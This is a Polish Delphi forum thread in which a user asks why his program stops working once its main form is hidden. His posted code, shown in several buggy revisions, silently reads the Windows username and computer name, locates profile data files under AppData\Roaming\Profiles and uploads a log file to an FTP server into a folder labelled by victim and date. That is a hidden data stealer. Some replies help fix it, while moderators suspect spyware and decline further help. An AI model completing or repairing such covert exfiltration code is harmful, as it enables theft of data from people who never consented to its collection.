Wątek przeniesiony 2014-02-04 15:40 z Delphi i Pascal przez furious programming.

ShowMainForm - true / false - aplikacja przestaje działać

0

Witam all mam taki problem!
Poniewaz aby ukryc formularz uzylem procedury:

Application.showmainform := False;

no oki wszystko pieknie ale gdy forma się ukrywa - program przestaje działać..

dodanie znacznika <code class="delphi"> - fp

0

a co robi ten program?

0

@dima0909x: na pewno kończy działanie, a nie jest tak, że "wisi" pod IDE do czasu ubicia? Najlepiej było by coś napisać więcej o programie, pokazać jakiś kod. Bo wróżbita Maciej to nie tutaj urzęduje.

0
dima0909x napisał(a)

no oki wszystko pieknie ale gdy forma się ukrywa - program przestaje działać..

A na jakiej podstawie sądzisz, że przestaje działać? Musisz podać więcej informacji, bo z tych obecnych (i bez kodu) niewiele można wywnioskować.

0

program łączy się z FTP i przesyla plik za pomocą INDY, w momencie gdy ukrywam forme, to ten plik się nie wysyla....

natomiast jeżeli forma jest = plik się wysyla i wszystko dziala

0

JAK to robisz? bez kodu nic to nie tłumaczy, niektóre zdarzenia mogą się nie wywoływać dla formy np. OnShow.

0
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdFTP, StdCtrls;

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    Memo1: TMemo;
    IdFTP1: TIdFTP;
    procedure FormActivate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormActivate(Sender: TObject);
var
  WDir : array[0..MAX_PATH] of char;
  literka:String;
  buffer: array[0..255] of char;
  BufferSize : DWord;
  UserName : string;
  ComputerName : string;
  CurrData: String;
  sciezka: String;
  SR: TSearchRec;
  Fik : Integer;

           begin
GetWindowsDirectory(WDir, SizeOf(WDir));
if Pos('Windows', WDir) > 0 then
literka:=stringreplace(WDir,':\Windows','',[rfReplaceAll]);
//sprawdza sciezke windowsa a nastepnie pozostawia wylacznie literke dysku


         BufferSize:=256;
        if GetComputerName(buffer, BufferSize) then begin
            ComputerName:= buffer;
        end else begin
            ComputerName:='BrakNazwyHosta';
        end;


        BufferSize:=255;
        SetLength(UserName,BufferSize) ;
        if GetUserName(PChar(UserName), BufferSize) then begin
            UserName := Copy(UserName,1,BufferSize - 1)
        end else begin
            UserName := 'BrakNazwyUzytkownika';
        end;


 sciezka := literka+':\Users\'+UserName+'\AppData\Roaming\Profiles\';
 Fik := FindFirst( sciezka + '\*.datafolder', faAnyFile, SR);
 while (Fik = 0) do
 begin
 listbox1.items.add(sciezka+sr.Name);
 Fik := FindNext(SR);
 end;
 FindClose(SR);

memo1.lines:=listbox1.items;

    CurrData := '';
    idFTP1.Host := 'ftp.link';
    idFTP1.Username := 'user';
    idFTP1.Password := 'pass';
    IdFTP1.Port:= 21;
    idFTP1.Connect();
    CurrData := FormatDateTime('dd-mm-yyyy_hh_nn_ss', Now);
    IdFTP1.MakeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
    IdFTP1.ChangeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
    idFTP1.Put (memo1.lines[0]+'\1.log','1.log');

    idFTP1.Disconnect();
end;

end.
0

Wywal to wszystko z formy, nie twórz żadnej formy, wstaw to bezpośrednio tam gdzie masz stworzenie formy.
Project -> Pokaż Źródło.

0
_13th_Dragon napisał(a):

Wywal to wszystko z formy, nie twórz żadnej formy, wstaw to bezpośrednio tam gdzie masz stworzenie formy.
Project -> Pokaż Źródło.

nie wiem czy dobrze zrozumiałem , ale o coś takiego chodzilo?

program Project1;

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdFTP, StdCtrls;

{$R *.res}
    var
  WDir : array[0..MAX_PATH] of char;
  literka:String;
  buffer: array[0..255] of char;
  BufferSize : DWord;
  UserName : string;
  ComputerName : string;
  CurrData: String;
  sciezka: String;
  SR: TSearchRec;
  Fik : Integer;
begin
  Application.Initialize;

           begin
GetWindowsDirectory(WDir, SizeOf(WDir));
if Pos('Windows', WDir) > 0 then
literka:=stringreplace(WDir,':\Windows','',[rfReplaceAll]);
//sprawdza sciezke windowsa a nastepnie pozostawia wylacznie literke dysku

         BufferSize:=256;
        if GetComputerName(buffer, BufferSize) then begin
            ComputerName:= buffer;
        end else begin
            ComputerName:='BrakNazwyHosta';
        end;

        BufferSize:=255;
        SetLength(UserName,BufferSize) ;
        if GetUserName(PChar(UserName), BufferSize) then begin
            UserName := Copy(UserName,1,BufferSize - 1)
        end else begin
            UserName := 'BrakNazwyUzytkownika';
        end;

sciezka := literka+':\Users\'+UserName+'\AppData\Roaming\Profiles\';
 Fik := FindFirst( sciezka + '\*.datafolder', faAnyFile, SR);
 while (Fik = 0) do
 begin
 listbox1.items.add(sciezka+sr.Name);
 Fik := FindNext(SR);
 end;
 FindClose(SR);
 
memo1.lines:=listbox1.items;
 
    CurrData := '';
    idFTP1.Host := 'ftp.link';
    idFTP1.Username := 'user';
    idFTP1.Password := 'pass';
    IdFTP1.Port:= 21;
    idFTP1.Connect();
    CurrData := FormatDateTime('dd-mm-yyyy_hh_nn_ss', Now);
    IdFTP1.MakeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
    IdFTP1.ChangeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
    idFTP1.Put (memo1.lines[0]+'\1.log','1.log');
 
    idFTP1.Disconnect();
end;
  Application.Run;
end.

a jak dodać teraz Indy Client, memo i listbox? bo na formie to mialem, a po jej usunięciu brak tych bibliotek jest teraz

[Error] Undeclared identifier: 'listbox1'
[Error] Undeclared identifier: 'memo1'
[Error] Undeclared identifier: 'idFTP1'
0

IdFTP1 musisz stworzyć ręcznie, zaś memo1 i listbox1 zamienić na TStringList

0
_13th_Dragon napisał(a):

IdFTP1 musisz stworzyć ręcznie, zaś memo1 i listbox1 zamienić na TStringList

w jaki sposob stworzyc ręcznie IdFTP1 ?

1
var IdFTP1:TIdFTP;
IdFTP1:=TIdFTP.Create(Application);
0

Najłatwiej (bez wielu zmian) byłoby w pierwotnym kodzie zamienić zdarzenie OnActivate na OnFormCreate, ale jak formularz nie jest ci do niczego potrzebny a jest tylko "workiem" na niewizualne komponenty to skorzystaj z propozycji @_13th_Dragon Choć w takim programie pewnie zależy ci bardziej na tym żeby działał niż był dobrze napisany. Dodatkowo zapisanie hasła do konta FTP w programie to fatalny pomysł. Każdy początkujący "cracker" może wejść na twoje konto FTP i robić z nim co chce. Nie zamierzam bardziej przykładać ręki do powstawania jakiegoś syfiarstwa jakie mierne by to nie było.

0
program Project2;
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdFTP, StdCtrls;

{$R *.res}
    var
    IdFTP1:TIdFTP;
    IdFTP1:=TIdFTP.Create(Application);
  WDir : array[0..MAX_PATH] of char;
  literka:String;
  buffer: array[0..255] of char;
  BufferSize : DWord;
  hh:TStringList  ;
  UserName : string;
  ComputerName : string;
  CurrData: String;
  sciezka: String;
  SR: TSearchRec;
  Fik : Integer;
begin
  Application.Initialize;
 
           begin
GetWindowsDirectory(WDir, SizeOf(WDir));
if Pos('Windows', WDir) > 0 then
literka:=stringreplace(WDir,':\Windows','',[rfReplaceAll]);
//sprawdza sciezke windowsa a nastepnie pozostawia wylacznie literke dysku

         BufferSize:=256;
        if GetComputerName(buffer, BufferSize) then begin
            ComputerName:= buffer;
        end else begin
            ComputerName:='BrakNazwyHosta';
        end;

        BufferSize:=255;
        SetLength(UserName,BufferSize) ;
        if GetUserName(PChar(UserName), BufferSize) then begin
            UserName := Copy(UserName,1,BufferSize - 1)
        end else begin
            UserName := 'BrakNazwyUzytkownika';
        end;
 
sciezka := literka+':\Users\'+UserName+'\AppData\Roaming\Profiles\';
 Fik := FindFirst( sciezka + '\*.datafolder', faAnyFile, SR);
 while (Fik = 0) do
 begin
 hh.add(sciezka+sr.Name);
 Fik := FindNext(SR);
 end;
 FindClose(SR);



    CurrData := '';
    idFTP1.Host := 'ftp.link';
    idFTP1.Username := 'user';
    idFTP1.Password := 'pass';
    IdFTP1.Port:= 21;
    idFTP1.Connect();
    CurrData := FormatDateTime('dd-mm-yyyy_hh_nn_ss', Now);
    IdFTP1.MakeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
    IdFTP1.ChangeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
    idFTP1.Put (hh[0]+'\1.log','1.log');

    idFTP1.Disconnect();
end;
  Application.Run;
end.

takie błędy powstały:
user image

0

Zacznij od nauczenia się jakichś podstaw języka.
Może wtedy będziesz wiedzieć że nie można tak po prostu byle gdzie fragment kodu.

0

@dima0909x - przecież Ty jeszcze nie znasz podstaw programowania w Delphi, a już bierzesz się za aplikacje okienkowe, i to w dodatku za takie nietypowe; Choć mnie ten cały program wygląda jak jakieś dziadostwo chowające się przed użytkownikiem i bez jego wiedzy wysyłające dane na serwer FTP to wątek nie wyląduje w koszu, dlatego że co do zamiarów użycia programu nie jestem pewien;

Nie znasz dobrze podstaw Delphi, nie czytasz błędów kompilacji i nie starasz się ich zrozumieć, a co najgorsze nie zastanawiasz się co z tym kodem jest nie tak, że nawet się skompilować nie chce; Zamiast główkować samemu to pierwsze co dopisujesz posty; W kodzie masz pełno błędów, on sam jest niedbale napisany z randomowymi wcięciami i zbędnymi blokami Begin End; Nie staraj się ich naprawić, tylko zrozumieć; Jedyną w tym drogą jest zapoznanie się z materiałami opisującymi podstawy programowania w Delphi;

Tymczasem wątek przenoszę do działu Newbie, bo dotyczy niestety braku znajomości podstaw programowania.

0

@dima0909x: przecież podałem Tobie po prośbie na PM jak mozna wyciągnąc ściezkę do %AppData%. I to nie ze zmiennych środowiskowych tylko z funkcji, z modułu ShlObj. Tymczasem w Twoim kodzie widze niezłe herezje. Sćieżki "na sztywno". Ok, piszesz pod kątem swojego komputera czy systemu i po swojemu za pewne. Ale jak już coś robić to robić dobrze i uniwersalnie.

Zastanów się co się stanie jeżeli przypadkiem ktoś będzie miał starszy system albo instalował Windows ze zmodyfikowanej instalki lub inne cuda. I będzie miał Windowsa w podkatalogu na przykład \WIRUS\? Albo pod Hiren Boot CD lub czymś podobnym, zmieni sobie wielkośc liter katalogu. Twoja zmienna Literka będzie miała coś czego nie oczekujesz. Przecież masz moduł SysUtils. Posiada on funkcje ExtractFileDrive. Piszesz pod VCL to używaj wszystkich dobrodziejstw jakie one za soba niesie. Co Do pozostałych błędów. Dodaj co trzeba do sekcji uses, to na pewno zobaczy komponenty Indy. Reszty nie analizuje. Jednak radzę na prawdę poczytasz kurs. Dzieki nim poznasz podstawy i nie będziesz wklejał kodu "na pałę" oraz rozumiał błedy kompilacji.

1 użytkowników online, w tym zalogowanych: 0, gości: 1